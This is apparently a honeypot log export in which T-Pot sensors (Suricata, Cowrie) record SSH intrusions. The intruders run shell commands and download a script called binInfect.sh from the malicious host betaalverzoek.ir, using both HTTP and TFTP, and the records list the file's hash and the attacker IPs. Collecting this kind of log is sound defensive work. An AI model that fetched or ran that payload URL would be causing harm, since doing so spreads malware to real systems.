19947	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:18.830655+03	2021-09-20 14:15:01.751643+03	{"_id": "GQXeAnwBvYTbRNuED_ZZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1066987618404666, "@version": "1", "in_iface": "enp5s0", "src_port": 38038, "dest_port": 69, "timestamp": "2021-09-20T11:01:18.830655Z", "@timestamp": "2021-09-20T11:01:18.830Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
19948	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:10.40529+03	2021-09-20 14:15:01.752642+03	{"_id": "3QXdAnwBvYTbRNuE7fUE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "119.29.153.168", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.6064846515655518, "duplicate": true, "timestamp": "2021-09-20T11:01:10.405290Z", "@timestamp": "2021-09-20T11:01:10.405Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19949	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:01:10.1537+03	2021-09-20 14:15:01.754642+03	{"_id": "2gXdAnwBvYTbRNuE7fUE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.session.params", "message": [], "session": "b4fdd90a76ab", "@version": "1", "timestamp": "2021-09-20T11:01:10.153700Z", "@timestamp": "2021-09-20T11:01:10.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19950	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:01:12.654318+03	2021-09-20 14:15:01.755642+03	{"_id": "5AXdAnwBvYTbRNuE8_X9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 1153477522266564, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60890, "dest_port": 22, "timestamp": "2021-09-20T11:01:12.654318Z", "@timestamp": "2021-09-20T11:01:12.654Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
19951	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:01:12.383067+03	2021-09-20 14:15:01.756642+03	{"_id": "5QXdAnwBvYTbRNuE9PXV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60890, "timestamp": "2021-09-20T11:01:12.383067", "@timestamp": "2021-09-20T11:01:12.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
19952	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:01:12.655161+03	2021-09-20 14:15:01.758643+03	{"_id": "6AXdAnwBvYTbRNuE9PXV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c7d014dbd806", "@version": "1", "timestamp": "2021-09-20T11:01:12.655161Z", "@timestamp": "2021-09-20T11:01:12.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
19953	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:01:12.043097+03	2021-09-20 14:15:01.759614+03	{"_id": "6wXdAnwBvYTbRNuE9fUo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "input": "sh", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.command.input", "message": "CMD: sh", "session": "b4fdd90a76ab", "@version": "1", "timestamp": "2021-09-20T11:01:12.043097Z", "@timestamp": "2021-09-20T11:01:12.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19954	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:13.086475+03	2021-09-20 14:15:01.760642+03	{"_id": "8gXdAnwBvYTbRNuE9_Xk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 58412, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 600, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2177432085383255, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40498, "timestamp": "2021-09-20T11:01:13.086475Z", "@timestamp": "2021-09-20T11:01:13.086Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19955	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:01:13.45185+03	2021-09-20 14:15:01.761651+03	{"_id": "DAXdAnwBvYTbRNuE-fYS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"url": "http://betaalverzoek.ir/binInfect.sh", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f", "src_ip": "109.104.151.106", "eventid": "cowrie.session.file_download", "message": "Downloaded URL (http://betaalverzoek.ir/binInfect.sh) with SHA-256 bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f to dl/bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f", "outfile": "dl/bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f", "session": "b4fdd90a76ab", "@version": "1", "destfile": "/binInfect.sh", "timestamp": "2021-09-20T11:01:13.451850Z", "@timestamp": "2021-09-20T11:01:13.451Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
19956	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:13.819617+03	2021-09-20 14:15:01.763642+03	{"_id": "DgXdAnwBvYTbRNuE-_bP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4300, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 600, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2234626017426510, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 51190, "timestamp": "2021-09-20T11:01:13.819617Z", "@timestamp": "2021-09-20T11:01:13.819Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19957	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:13.821562+03	2021-09-20 14:15:01.764643+03	{"_id": "EgXdAnwBvYTbRNuE-_bP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:13.821562+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 63}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1066987618404666, "payload": "AAFiaW5JbmZlY3Quc2gAb2N0ZXQA", "@version": "1", "in_iface": "enp5s0", "src_port": 38038, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:01:13.821562Z", "@timestamp": "2021-09-20T11:01:13.821Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
19958	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:13.811227+03	2021-09-20 14:15:01.765643+03	{"_id": "FAXdAnwBvYTbRNuE-_bP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/binInfect.sh", "length": 1987, "status": 200, "hostname": "betaalverzoek.ir", "protocol": "HTTP/1.0", "http_method": "GET", "http_user_agent": "curl/7.38.0", "http_content_type": "application/x-sh"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 265795829100709, "@version": "1", "in_iface": "enp5s0", "src_port": 50402, "dest_port": 80, "timestamp": "2021-09-20T11:01:13.811227Z", "@timestamp": "2021-09-20T11:01:13.811Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	\N	\N
19959	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:13.819953+03	2021-09-20 14:15:01.766642+03	{"_id": "FQXdAnwBvYTbRNuE-_bP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 33432, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2081783163749105, "@version": "1", "in_iface": "enp5s0", "src_port": 37647, "dest_port": 53, "timestamp": "2021-09-20T11:01:13.819953Z", "@timestamp": "2021-09-20T11:01:13.819Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19960	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:01:14.000811+03	2021-09-20 14:15:01.768645+03	{"_id": "FgXdAnwBvYTbRNuE-_bP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:13.821562+0000", "pkts_toclient": 1, "pkts_toserver": 1, "bytes_toclient": 91, "bytes_toserver": 63}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1066987618404666, "payload": "RQAAMbIxQAAxEb36wKgUdG1olwuUlgBFAB073AABYmluSW5mZWN0LnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:01:14.000811Z", "@timestamp": "2021-09-20T11:01:14.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..1.1@.1......tmh.....E..;...binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
19991	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:31.810495+03	2021-09-20 14:15:01.809612+03	{"_id": "LwXgAnwBvYTbRNuEFPgP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:31.810495Z", "@timestamp": "2021-09-20T11:03:31.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19961	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:28.845971+03	2021-09-20 14:15:01.769612+03	{"_id": "OQXeAnwBvYTbRNuENvZu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 16426, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 585, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1314813674841254, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 51345, "timestamp": "2021-09-20T11:01:28.845971Z", "@timestamp": "2021-09-20T11:01:28.845Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19962	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:01:30.496216+03	2021-09-20 14:15:01.770612+03	{"_id": "QwXeAnwBvYTbRNuEOvZX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:00:04.513303+0000", "pkts_toclient": 0, "pkts_toserver": 9, "bytes_toclient": 0, "bytes_toserver": 702}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "118.70.233.117", "flow_id": 976443260851479, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 57854, "timestamp": "2021-09-20T11:01:30.496216Z", "@timestamp": "2021-09-20T11:01:30.496Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
19963	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:33.856136+03	2021-09-20 14:15:01.772612+03	{"_id": "RgXeAnwBvYTbRNuESfb5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 43094, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 580, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1171262983178850, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 51352, "timestamp": "2021-09-20T11:01:33.856136Z", "@timestamp": "2021-09-20T11:01:33.856Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19964	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:33.856554+03	2021-09-20 14:15:01.773643+03	{"_id": "RwXeAnwBvYTbRNuESfb5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1066987618404666, "@version": "1", "in_iface": "enp5s0", "src_port": 38038, "dest_port": 69, "timestamp": "2021-09-20T11:01:33.856554Z", "@timestamp": "2021-09-20T11:01:33.856Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
19965	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:33.856554+03	2021-09-20 14:15:01.774613+03	{"_id": "RQXeAnwBvYTbRNuESfb5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:13.821562+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 364, "bytes_toserver": 315}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1066987618404666, "payload": "AAFiaW5JbmZlY3Quc2gAb2N0ZXQA", "@version": "1", "in_iface": "enp5s0", "src_port": 38038, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:01:33.856554Z", "@timestamp": "2021-09-20T11:01:33.856Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
19992	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:31.811045+03	2021-09-20 14:15:01.811612+03	{"_id": "MAXgAnwBvYTbRNuEFPgP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:31.811045Z", "@timestamp": "2021-09-20T11:03:31.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": 